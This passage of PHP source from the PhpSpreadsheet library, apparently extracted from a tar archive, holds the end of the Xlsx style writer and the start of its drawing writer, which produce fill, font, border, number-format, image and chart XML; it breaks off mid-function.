function writeFill(XMLWriter $objWriter, Fill $fill): void { // Check if this is a pattern type or gradient type if ( $fill->getFillType() === Fill::FILL_GRADIENT_LINEAR || $fill->getFillType() === Fill::FILL_GRADIENT_PATH ) { // Gradient fill $this->writeGradientFill($objWriter, $fill); } elseif ($fill->getFillType() !== null) { // Pattern fill $this->writePatternFill($objWriter, $fill); } } /** * Write Gradient Fill. */ private function writeGradientFill(XMLWriter $objWriter, Fill $fill): void { // fill $objWriter->startElement('fill'); // gradientFill $objWriter->startElement('gradientFill'); $objWriter->writeAttribute('type', (string) $fill->getFillType()); $objWriter->writeAttribute('degree', (string) $fill->getRotation()); // stop $objWriter->startElement('stop'); $objWriter->writeAttribute('position', '0'); // color if ($fill->getStartColor()->getARGB() !== null) { $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $fill->getStartColor()->getARGB()); $objWriter->endElement(); } $objWriter->endElement(); // stop $objWriter->startElement('stop'); $objWriter->writeAttribute('position', '1'); // color if ($fill->getEndColor()->getARGB() !== null) { $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $fill->getEndColor()->getARGB()); $objWriter->endElement(); } $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } private static function writePatternColors(Fill $fill): bool { if ($fill->getFillType() === Fill::FILL_NONE) { return false; } return $fill->getFillType() === Fill::FILL_SOLID || $fill->getColorsChanged(); } /** * Write Pattern Fill. */ private function writePatternFill(XMLWriter $objWriter, Fill $fill): void { // fill $objWriter->startElement('fill'); // patternFill $objWriter->startElement('patternFill'); $objWriter->writeAttribute('patternType', (string) $fill->getFillType()); if (self::writePatternColors($fill)) { // fgColor if ($fill->getStartColor()->getARGB()) { if (!$fill->getEndColor()->getARGB() && $fill->getFillType() === Fill::FILL_SOLID) { $objWriter->startElement('bgColor'); $objWriter->writeAttribute('rgb', $fill->getStartColor()->getARGB()); } else { $objWriter->startElement('fgColor'); $objWriter->writeAttribute('rgb', $fill->getStartColor()->getARGB()); } $objWriter->endElement(); } // bgColor if ($fill->getEndColor()->getARGB()) { $objWriter->startElement('bgColor'); $objWriter->writeAttribute('rgb', $fill->getEndColor()->getARGB()); $objWriter->endElement(); } } $objWriter->endElement(); $objWriter->endElement(); } private function startFont(XMLWriter $objWriter, bool &$fontStarted): void { if (!$fontStarted) { $fontStarted = true; $objWriter->startElement('font'); } } /** * Write Font. */ private function writeFont(XMLWriter $objWriter, Font $font): void { $fontStarted = false; // font // Weird! The order of these elements actually makes a difference when opening Xlsx // files in Excel2003 with the compatibility pack. It's not documented behaviour, // and makes for a real WTF! // Bold. We explicitly write this element also when false (like MS Office Excel 2007 does // for conditional formatting). Otherwise it will apparently not be picked up in conditional // formatting style dialog if ($font->getBold() !== null) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('b'); $objWriter->writeAttribute('val', $font->getBold() ? '1' : '0'); $objWriter->endElement(); } // Italic if ($font->getItalic() !== null) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('i'); $objWriter->writeAttribute('val', $font->getItalic() ? '1' : '0'); $objWriter->endElement(); } // Strikethrough if ($font->getStrikethrough() !== null) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('strike'); $objWriter->writeAttribute('val', $font->getStrikethrough() ? '1' : '0'); $objWriter->endElement(); } // Underline if ($font->getUnderline() !== null) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('u'); $objWriter->writeAttribute('val', $font->getUnderline()); $objWriter->endElement(); } // Superscript / subscript if ($font->getSuperscript() === true || $font->getSubscript() === true) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('vertAlign'); if ($font->getSuperscript() === true) { $objWriter->writeAttribute('val', 'superscript'); } elseif ($font->getSubscript() === true) { $objWriter->writeAttribute('val', 'subscript'); } $objWriter->endElement(); } // Size if ($font->getSize() !== null) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('sz'); $objWriter->writeAttribute('val', StringHelper::formatNumber($font->getSize())); $objWriter->endElement(); } // Foreground color if ($font->getColor()->getARGB() !== null) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $font->getColor()->getARGB()); $objWriter->endElement(); } // Name if ($font->getName() !== null) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('name'); $objWriter->writeAttribute('val', $font->getName()); $objWriter->endElement(); } if (!empty($font->getScheme())) { $this->startFont($objWriter, $fontStarted); $objWriter->startElement('scheme'); $objWriter->writeAttribute('val', $font->getScheme()); $objWriter->endElement(); } if ($fontStarted) { $objWriter->endElement(); } } /** * Write Border. */ private function writeBorder(XMLWriter $objWriter, Borders $borders): void { // Write border $objWriter->startElement('border'); // Diagonal? switch ($borders->getDiagonalDirection()) { case Borders::DIAGONAL_UP: $objWriter->writeAttribute('diagonalUp', 'true'); $objWriter->writeAttribute('diagonalDown', 'false'); break; case Borders::DIAGONAL_DOWN: $objWriter->writeAttribute('diagonalUp', 'false'); $objWriter->writeAttribute('diagonalDown', 'true'); break; case Borders::DIAGONAL_BOTH: $objWriter->writeAttribute('diagonalUp', 'true'); $objWriter->writeAttribute('diagonalDown', 'true'); break; } // BorderPr $this->writeBorderPr($objWriter, 'left', $borders->getLeft()); $this->writeBorderPr($objWriter, 'right', $borders->getRight()); $this->writeBorderPr($objWriter, 'top', $borders->getTop()); $this->writeBorderPr($objWriter, 'bottom', $borders->getBottom()); $this->writeBorderPr($objWriter, 'diagonal', $borders->getDiagonal()); $objWriter->endElement(); } /** * Write Cell Style Xf. */ private function writeCellStyleXf(XMLWriter $objWriter, \PhpOffice\PhpSpreadsheet\Style\Style $style, Spreadsheet $spreadsheet, string $defaultAlignHash): void { // xf $objWriter->startElement('xf'); $objWriter->writeAttribute('xfId', '0'); $objWriter->writeAttribute('fontId', (string) (int) $this->getParentWriter()->getFontHashTable()->getIndexForHashCode($style->getFont()->getHashCode())); if ($style->getQuotePrefix()) { $objWriter->writeAttribute('quotePrefix', '1'); } if ($style->getNumberFormat()->getBuiltInFormatCode() === false) { $objWriter->writeAttribute('numFmtId', (string) (int) ($this->getParentWriter()->getNumFmtHashTable()->getIndexForHashCode($style->getNumberFormat()->getHashCode()) + 164)); } else { $objWriter->writeAttribute('numFmtId', (string) (int) $style->getNumberFormat()->getBuiltInFormatCode()); } $objWriter->writeAttribute('fillId', (string) (int) $this->getParentWriter()->getFillHashTable()->getIndexForHashCode($style->getFill()->getHashCode())); $objWriter->writeAttribute('borderId', (string) (int) $this->getParentWriter()->getBordersHashTable()->getIndexForHashCode($style->getBorders()->getHashCode())); // Apply styles? $objWriter->writeAttribute('applyFont', ($spreadsheet->getDefaultStyle()->getFont()->getHashCode() != $style->getFont()->getHashCode()) ? '1' : '0'); $objWriter->writeAttribute('applyNumberFormat', ($spreadsheet->getDefaultStyle()->getNumberFormat()->getHashCode() != $style->getNumberFormat()->getHashCode()) ? '1' : '0'); $objWriter->writeAttribute('applyFill', ($spreadsheet->getDefaultStyle()->getFill()->getHashCode() != $style->getFill()->getHashCode()) ? '1' : '0'); $objWriter->writeAttribute('applyBorder', ($spreadsheet->getDefaultStyle()->getBorders()->getHashCode() != $style->getBorders()->getHashCode()) ? '1' : '0'); if ($defaultAlignHash !== '' && $defaultAlignHash === $style->getAlignment()->getHashCode()) { $applyAlignment = '0'; } else { $applyAlignment = '1'; } $objWriter->writeAttribute('applyAlignment', $applyAlignment); if ($style->getProtection()->getLocked() != Protection::PROTECTION_INHERIT || $style->getProtection()->getHidden() != Protection::PROTECTION_INHERIT) { $objWriter->writeAttribute('applyProtection', 'true'); } // alignment if ($applyAlignment === '1') { $objWriter->startElement('alignment'); $vertical = Alignment::VERTICAL_ALIGNMENT_FOR_XLSX[$style->getAlignment()->getVertical()] ?? ''; $horizontal = Alignment::HORIZONTAL_ALIGNMENT_FOR_XLSX[$style->getAlignment()->getHorizontal()] ?? ''; if ($horizontal !== '') { $objWriter->writeAttribute('horizontal', $horizontal); } if ($vertical !== '') { $objWriter->writeAttribute('vertical', $vertical); } if ($style->getAlignment()->getTextRotation() >= 0) { $textRotation = $style->getAlignment()->getTextRotation(); } else { $textRotation = 90 - $style->getAlignment()->getTextRotation(); } $objWriter->writeAttribute('textRotation', (string) $textRotation); $objWriter->writeAttribute('wrapText', ($style->getAlignment()->getWrapText() ? 'true' : 'false')); $objWriter->writeAttribute('shrinkToFit', ($style->getAlignment()->getShrinkToFit() ? 'true' : 'false')); if ($style->getAlignment()->getIndent() > 0) { $objWriter->writeAttribute('indent', (string) $style->getAlignment()->getIndent()); } if ($style->getAlignment()->getReadOrder() > 0) { $objWriter->writeAttribute('readingOrder', (string) $style->getAlignment()->getReadOrder()); } $objWriter->endElement(); } // protection if ($style->getProtection()->getLocked() != Protection::PROTECTION_INHERIT || $style->getProtection()->getHidden() != Protection::PROTECTION_INHERIT) { $objWriter->startElement('protection'); if ($style->getProtection()->getLocked() != Protection::PROTECTION_INHERIT) { $objWriter->writeAttribute('locked', ($style->getProtection()->getLocked() == Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } if ($style->getProtection()->getHidden() != Protection::PROTECTION_INHERIT) { $objWriter->writeAttribute('hidden', ($style->getProtection()->getHidden() == Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Cell Style Dxf. */ private function writeCellStyleDxf(XMLWriter $objWriter, \PhpOffice\PhpSpreadsheet\Style\Style $style): void { // dxf $objWriter->startElement('dxf'); // font $this->writeFont($objWriter, $style->getFont()); // numFmt $this->writeNumFmt($objWriter, $style->getNumberFormat()); // fill $this->writeFill($objWriter, $style->getFill()); // alignment $horizontal = Alignment::HORIZONTAL_ALIGNMENT_FOR_XLSX[$style->getAlignment()->getHorizontal()] ?? ''; $vertical = Alignment::VERTICAL_ALIGNMENT_FOR_XLSX[$style->getAlignment()->getVertical()] ?? ''; $rotation = $style->getAlignment()->getTextRotation(); if ($horizontal || $vertical || $rotation !== null) { $objWriter->startElement('alignment'); if ($horizontal) { $objWriter->writeAttribute('horizontal', $horizontal); } if ($vertical) { $objWriter->writeAttribute('vertical', $vertical); } if ($rotation !== null) { if ($rotation >= 0) { $textRotation = $rotation; } else { $textRotation = 90 - $rotation; } $objWriter->writeAttribute('textRotation', (string) $textRotation); } $objWriter->endElement(); } // border $this->writeBorder($objWriter, $style->getBorders()); // protection if ((!empty($style->getProtection()->getLocked())) || (!empty($style->getProtection()->getHidden()))) { if ( $style->getProtection()->getLocked() !== Protection::PROTECTION_INHERIT || $style->getProtection()->getHidden() !== Protection::PROTECTION_INHERIT ) { $objWriter->startElement('protection'); if ( ($style->getProtection()->getLocked() !== null) && ($style->getProtection()->getLocked() !== Protection::PROTECTION_INHERIT) ) { $objWriter->writeAttribute('locked', ($style->getProtection()->getLocked() == Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } if ( ($style->getProtection()->getHidden() !== null) && ($style->getProtection()->getHidden() !== Protection::PROTECTION_INHERIT) ) { $objWriter->writeAttribute('hidden', ($style->getProtection()->getHidden() == Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } $objWriter->endElement(); } } $objWriter->endElement(); } /** * Write BorderPr. * * @param string $name Element name */ private function writeBorderPr(XMLWriter $objWriter, string $name, Border $border): void { // Write BorderPr if ($border->getBorderStyle() === Border::BORDER_OMIT) { return; } $objWriter->startElement($name); if ($border->getBorderStyle() !== Border::BORDER_NONE) { $objWriter->writeAttribute('style', $border->getBorderStyle()); // color if ($border->getColor()->getARGB() !== null) { $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $border->getColor()->getARGB()); $objWriter->endElement(); } } $objWriter->endElement(); } /** * Write NumberFormat. * * @param int $id Number Format identifier */ private function writeNumFmt(XMLWriter $objWriter, ?NumberFormat $numberFormat, int $id = 0): void { // Translate formatcode $formatCode = ($numberFormat === null) ? null : $numberFormat->getFormatCode(); // numFmt if ($formatCode !== null) { $objWriter->startElement('numFmt'); $objWriter->writeAttribute('numFmtId', (string) ($id + 164)); $objWriter->writeAttribute('formatCode', $formatCode); $objWriter->endElement(); } } /** * Get an array of all styles. * * @return \PhpOffice\PhpSpreadsheet\Style\Style[] All styles in PhpSpreadsheet */ public function allStyles(Spreadsheet $spreadsheet): array { return $spreadsheet->getCellXfCollection(); } /** * Get an array of all conditional styles. * * @return Conditional[] All conditional styles in PhpSpreadsheet */ public function allConditionalStyles(Spreadsheet $spreadsheet): array { // Get an array of all styles $aStyles = []; $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { foreach ($spreadsheet->getSheet($i)->getConditionalStylesCollection() as $conditionalStyles) { foreach ($conditionalStyles as $conditionalStyle) { $aStyles[] = $conditionalStyle; } } } return $aStyles; } /** * Get an array of all fills. * * @return Fill[] All fills in PhpSpreadsheet */ public function allFills(Spreadsheet $spreadsheet): array { // Get an array of unique fills $aFills = []; // Two first fills are predefined $fill0 = new Fill(); $fill0->setFillType(Fill::FILL_NONE); $aFills[] = $fill0; $fill1 = new Fill(); $fill1->setFillType(Fill::FILL_PATTERN_GRAY125); $aFills[] = $fill1; // The remaining fills $aStyles = $this->allStyles($spreadsheet); foreach ($aStyles as $style) { if (!isset($aFills[$style->getFill()->getHashCode()])) { $aFills[$style->getFill()->getHashCode()] = $style->getFill(); } } return $aFills; } /** * Get an array of all fonts. * * @return Font[] All fonts in PhpSpreadsheet */ public function allFonts(Spreadsheet $spreadsheet): array { // Get an array of unique fonts $aFonts = []; $aStyles = $this->allStyles($spreadsheet); foreach ($aStyles as $style) { if (!isset($aFonts[$style->getFont()->getHashCode()])) { $aFonts[$style->getFont()->getHashCode()] = $style->getFont(); } } return $aFonts; } /** * Get an array of all borders. * * @return Borders[] All borders in PhpSpreadsheet */ public function allBorders(Spreadsheet $spreadsheet): array { // Get an array of unique borders $aBorders = []; $aStyles = $this->allStyles($spreadsheet); foreach ($aStyles as $style) { if (!isset($aBorders[$style->getBorders()->getHashCode()])) { $aBorders[$style->getBorders()->getHashCode()] = $style->getBorders(); } } return $aBorders; } /** * Get an array of all number formats. * * @return NumberFormat[] All number formats in PhpSpreadsheet */ public function allNumberFormats(Spreadsheet $spreadsheet): array { // Get an array of unique number formats $aNumFmts = []; $aStyles = $this->allStyles($spreadsheet); foreach ($aStyles as $style) { if ($style->getNumberFormat()->getBuiltInFormatCode() === false && !isset($aNumFmts[$style->getNumberFormat()->getHashCode()])) { $aNumFmts[$style->getNumberFormat()->getHashCode()] = $style->getNumberFormat(); } } return $aNumFmts; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Drawing.php000064400000054100151676714400021565 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\Drawing as SharedDrawing; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\BaseDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\HeaderFooterDrawing; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; class Drawing extends WriterPart { /** * Write drawings to XML format. * * @param bool $includeCharts Flag indicating if we should include drawing details for charts * * @return string XML Output */ public function writeDrawings(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet, bool $includeCharts = false): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // xdr:wsDr $objWriter->startElement('xdr:wsDr'); $objWriter->writeAttribute('xmlns:xdr', Namespaces::SPREADSHEET_DRAWING); $objWriter->writeAttribute('xmlns:a', Namespaces::DRAWINGML); // Loop through images and write drawings $i = 1; $iterator = $worksheet->getDrawingCollection()->getIterator(); while ($iterator->valid()) { /** @var BaseDrawing $pDrawing */ $pDrawing = $iterator->current(); $pRelationId = $i; $hlinkClickId = $pDrawing->getHyperlink() === null ? null : ++$i; $this->writeDrawing($objWriter, $pDrawing, $pRelationId, $hlinkClickId); $iterator->next(); ++$i; } if ($includeCharts) { $chartCount = $worksheet->getChartCount(); // Loop through charts and write the chart position if ($chartCount > 0) { for ($c = 0; $c < $chartCount; ++$c) { $chart = $worksheet->getChartByIndex((string) $c); if ($chart !== false) { $this->writeChart($objWriter, $chart, $c + $i); } } } } // unparsed AlternateContent $unparsedLoadedData = $worksheet->getParentOrThrow()->getUnparsedLoadedData(); if (isset($unparsedLoadedData['sheets'][$worksheet->getCodeName()]['drawingAlternateContents'])) { foreach ($unparsedLoadedData['sheets'][$worksheet->getCodeName()]['drawingAlternateContents'] as $drawingAlternateContent) { $objWriter->writeRaw($drawingAlternateContent); } } $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write drawings to XML format. */ public function writeChart(XMLWriter $objWriter, \PhpOffice\PhpSpreadsheet\Chart\Chart $chart, int $relationId = -1): void { $tl = $chart->getTopLeftPosition(); $tlColRow = Coordinate::indexesFromString($tl['cell']); $br = $chart->getBottomRightPosition(); $isTwoCellAnchor = $br['cell'] !== ''; if ($isTwoCellAnchor) { $brColRow = Coordinate::indexesFromString($br['cell']); $objWriter->startElement('xdr:twoCellAnchor'); $objWriter->startElement('xdr:from'); $objWriter->writeElement('xdr:col', (string) ($tlColRow[0] - 1)); $objWriter->writeElement('xdr:colOff', self::stringEmu($tl['xOffset'])); $objWriter->writeElement('xdr:row', (string) ($tlColRow[1] - 1)); $objWriter->writeElement('xdr:rowOff', self::stringEmu($tl['yOffset'])); $objWriter->endElement(); $objWriter->startElement('xdr:to'); $objWriter->writeElement('xdr:col', (string) ($brColRow[0] - 1)); $objWriter->writeElement('xdr:colOff', self::stringEmu($br['xOffset'])); $objWriter->writeElement('xdr:row', (string) ($brColRow[1] - 1)); $objWriter->writeElement('xdr:rowOff', self::stringEmu($br['yOffset'])); $objWriter->endElement(); } elseif ($chart->getOneCellAnchor()) { $objWriter->startElement('xdr:oneCellAnchor'); $objWriter->startElement('xdr:from'); $objWriter->writeElement('xdr:col', (string) ($tlColRow[0] - 1)); $objWriter->writeElement('xdr:colOff', self::stringEmu($tl['xOffset'])); $objWriter->writeElement('xdr:row', (string) ($tlColRow[1] - 1)); $objWriter->writeElement('xdr:rowOff', self::stringEmu($tl['yOffset'])); $objWriter->endElement(); $objWriter->startElement('xdr:ext'); $objWriter->writeAttribute('cx', self::stringEmu($br['xOffset'])); $objWriter->writeAttribute('cy', self::stringEmu($br['yOffset'])); $objWriter->endElement(); } else { $objWriter->startElement('xdr:absoluteAnchor'); $objWriter->startElement('xdr:pos'); $objWriter->writeAttribute('x', '0'); $objWriter->writeAttribute('y', '0'); $objWriter->endElement(); $objWriter->startElement('xdr:ext'); $objWriter->writeAttribute('cx', self::stringEmu($br['xOffset'])); $objWriter->writeAttribute('cy', self::stringEmu($br['yOffset'])); $objWriter->endElement(); } $objWriter->startElement('xdr:graphicFrame'); $objWriter->writeAttribute('macro', ''); $objWriter->startElement('xdr:nvGraphicFramePr'); $objWriter->startElement('xdr:cNvPr'); $objWriter->writeAttribute('name', 'Chart ' . $relationId); $objWriter->writeAttribute('id', (string) (1025 * $relationId)); $objWriter->endElement(); $objWriter->startElement('xdr:cNvGraphicFramePr'); $objWriter->startElement('a:graphicFrameLocks'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('xdr:xfrm'); $objWriter->startElement('a:off'); $objWriter->writeAttribute('x', '0'); $objWriter->writeAttribute('y', '0'); $objWriter->endElement(); $objWriter->startElement('a:ext'); $objWriter->writeAttribute('cx', '0'); $objWriter->writeAttribute('cy', '0'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('a:graphic'); $objWriter->startElement('a:graphicData'); $objWriter->writeAttribute('uri', Namespaces::CHART); $objWriter->startElement('c:chart'); $objWriter->writeAttribute('xmlns:c', Namespaces::CHART); $objWriter->writeAttribute('xmlns:r', Namespaces::SCHEMA_OFFICE_DOCUMENT); $objWriter->writeAttribute('r:id', 'rId' . $relationId); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('xdr:clientData'); $objWriter->endElement(); $objWriter->endElement(); } /** * Write drawings to XML format. */ public function writeDrawing(XMLWriter $objWriter, BaseDrawing $drawing, int $relationId = -1, ?int $hlinkClickId = null): void { if ($relationId >= 0) { $isTwoCellAnchor = $drawing->getCoordinates2() !== ''; if ($isTwoCellAnchor) { // xdr:twoCellAnchor $objWriter->startElement('xdr:twoCellAnchor'); if ($drawing->validEditAs()) { $objWriter->writeAttribute('editAs', $drawing->getEditAs()); } // Image location $aCoordinates = Coordinate::indexesFromString($drawing->getCoordinates()); $aCoordinates2 = Coordinate::indexesFromString($drawing->getCoordinates2()); // xdr:from $objWriter->startElement('xdr:from'); $objWriter->writeElement('xdr:col', (string) ($aCoordinates[0] - 1)); $objWriter->writeElement('xdr:colOff', self::stringEmu($drawing->getOffsetX())); $objWriter->writeElement('xdr:row', (string) ($aCoordinates[1] - 1)); $objWriter->writeElement('xdr:rowOff', self::stringEmu($drawing->getOffsetY())); $objWriter->endElement(); // xdr:to $objWriter->startElement('xdr:to'); $objWriter->writeElement('xdr:col', (string) ($aCoordinates2[0] - 1)); $objWriter->writeElement('xdr:colOff', self::stringEmu($drawing->getOffsetX2())); $objWriter->writeElement('xdr:row', (string) ($aCoordinates2[1] - 1)); $objWriter->writeElement('xdr:rowOff', self::stringEmu($drawing->getOffsetY2())); $objWriter->endElement(); } else { // xdr:oneCellAnchor $objWriter->startElement('xdr:oneCellAnchor'); // Image location $aCoordinates = Coordinate::indexesFromString($drawing->getCoordinates()); // xdr:from $objWriter->startElement('xdr:from'); $objWriter->writeElement('xdr:col', (string) ($aCoordinates[0] - 1)); $objWriter->writeElement('xdr:colOff', self::stringEmu($drawing->getOffsetX())); $objWriter->writeElement('xdr:row', (string) ($aCoordinates[1] - 1)); $objWriter->writeElement('xdr:rowOff', self::stringEmu($drawing->getOffsetY())); $objWriter->endElement(); // xdr:ext $objWriter->startElement('xdr:ext'); $objWriter->writeAttribute('cx', self::stringEmu($drawing->getWidth())); $objWriter->writeAttribute('cy', self::stringEmu($drawing->getHeight())); $objWriter->endElement(); } // xdr:pic $objWriter->startElement('xdr:pic'); // xdr:nvPicPr $objWriter->startElement('xdr:nvPicPr'); // xdr:cNvPr $objWriter->startElement('xdr:cNvPr'); $objWriter->writeAttribute('id', (string) $relationId); $objWriter->writeAttribute('name', $drawing->getName()); $objWriter->writeAttribute('descr', $drawing->getDescription()); //a:hlinkClick $this->writeHyperLinkDrawing($objWriter, $hlinkClickId); $objWriter->endElement(); // xdr:cNvPicPr $objWriter->startElement('xdr:cNvPicPr'); // a:picLocks $objWriter->startElement('a:picLocks'); $objWriter->writeAttribute('noChangeAspect', '1'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // xdr:blipFill $objWriter->startElement('xdr:blipFill'); // a:blip $objWriter->startElement('a:blip'); $objWriter->writeAttribute('xmlns:r', Namespaces::SCHEMA_OFFICE_DOCUMENT); $objWriter->writeAttribute('r:embed', 'rId' . $relationId); $objWriter->endElement(); $srcRect = $drawing->getSrcRect(); if (!empty($srcRect)) { $objWriter->startElement('a:srcRect'); foreach ($srcRect as $key => $value) { $objWriter->writeAttribute($key, (string) $value); } $objWriter->endElement(); // a:srcRect $objWriter->startElement('a:stretch'); $objWriter->endElement(); // a:stretch } else { // a:stretch $objWriter->startElement('a:stretch'); $objWriter->writeElement('a:fillRect', null); $objWriter->endElement(); } $objWriter->endElement(); // xdr:spPr $objWriter->startElement('xdr:spPr'); // a:xfrm $objWriter->startElement('a:xfrm'); $objWriter->writeAttribute('rot', (string) SharedDrawing::degreesToAngle($drawing->getRotation())); self::writeAttributeIf($objWriter, $drawing->getFlipVertical(), 'flipV', '1'); self::writeAttributeIf($objWriter, $drawing->getFlipHorizontal(), 'flipH', '1'); if ($isTwoCellAnchor) { $objWriter->startElement('a:ext'); $objWriter->writeAttribute('cx', self::stringEmu($drawing->getWidth())); $objWriter->writeAttribute('cy', self::stringEmu($drawing->getHeight())); $objWriter->endElement(); } $objWriter->endElement(); // a:prstGeom $objWriter->startElement('a:prstGeom'); $objWriter->writeAttribute('prst', 'rect'); // a:avLst $objWriter->writeElement('a:avLst', null); $objWriter->endElement(); if ($drawing->getShadow()->getVisible()) { // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', self::stringEmu($drawing->getShadow()->getBlurRadius())); $objWriter->writeAttribute('dist', self::stringEmu($drawing->getShadow()->getDistance())); $objWriter->writeAttribute('dir', (string) SharedDrawing::degreesToAngle($drawing->getShadow()->getDirection())); $objWriter->writeAttribute('algn', $drawing->getShadow()->getAlignment()); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', $drawing->getShadow()->getColor()->getRGB()); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', (string) ($drawing->getShadow()->getAlpha() * 1000)); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } $objWriter->endElement(); $objWriter->endElement(); // xdr:clientData $objWriter->writeElement('xdr:clientData', null); $objWriter->endElement(); } else { throw new WriterException('Invalid parameters passed.'); } } /** * Write VML header/footer images to XML format. * * @return string XML Output */ public function writeVMLHeaderFooterImages(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Header/footer images $images = $worksheet->getHeaderFooter()->getImages(); // xml $objWriter->startElement('xml'); $objWriter->writeAttribute('xmlns:v', Namespaces::URN_VML); $objWriter->writeAttribute('xmlns:o', Namespaces::URN_MSOFFICE); $objWriter->writeAttribute('xmlns:x', Namespaces::URN_EXCEL); // o:shapelayout $objWriter->startElement('o:shapelayout'); $objWriter->writeAttribute('v:ext', 'edit'); // o:idmap $objWriter->startElement('o:idmap'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('data', '1'); $objWriter->endElement(); $objWriter->endElement(); // v:shapetype $objWriter->startElement('v:shapetype'); $objWriter->writeAttribute('id', '_x0000_t75'); $objWriter->writeAttribute('coordsize', '21600,21600'); $objWriter->writeAttribute('o:spt', '75'); $objWriter->writeAttribute('o:preferrelative', 't'); $objWriter->writeAttribute('path', 'm@4@5l@4@11@9@11@9@5xe'); $objWriter->writeAttribute('filled', 'f'); $objWriter->writeAttribute('stroked', 'f'); // v:stroke $objWriter->startElement('v:stroke'); $objWriter->writeAttribute('joinstyle', 'miter'); $objWriter->endElement(); // v:formulas $objWriter->startElement('v:formulas'); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'if lineDrawn pixelLineWidth 0'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @0 1 0'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum 0 0 @1'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @2 1 2'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @3 21600 pixelWidth'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @3 21600 pixelHeight'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @0 0 1'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @6 1 2'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @7 21600 pixelWidth'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @8 21600 0'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'prod @7 21600 pixelHeight'); $objWriter->endElement(); // v:f $objWriter->startElement('v:f'); $objWriter->writeAttribute('eqn', 'sum @10 21600 0'); $objWriter->endElement(); $objWriter->endElement(); // v:path $objWriter->startElement('v:path'); $objWriter->writeAttribute('o:extrusionok', 'f'); $objWriter->writeAttribute('gradientshapeok', 't'); $objWriter->writeAttribute('o:connecttype', 'rect'); $objWriter->endElement(); // o:lock $objWriter->startElement('o:lock'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('aspectratio', 't'); $objWriter->endElement(); $objWriter->endElement(); // Loop through images foreach ($images as $key => $value) { $this->writeVMLHeaderFooterImage($objWriter, $key, $value); } $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write VML comment to XML format. * * @param string $reference Reference */ private function writeVMLHeaderFooterImage(XMLWriter $objWriter, string $reference, HeaderFooterDrawing $image): void { // Calculate object id preg_match('{(\d+)}', md5($reference), $m); $id = 1500 + ((int) substr($m[1], 0, 2) * 1); // Calculate offset $width = $image->getWidth(); $height = $image->getHeight(); $marginLeft = $image->getOffsetX(); 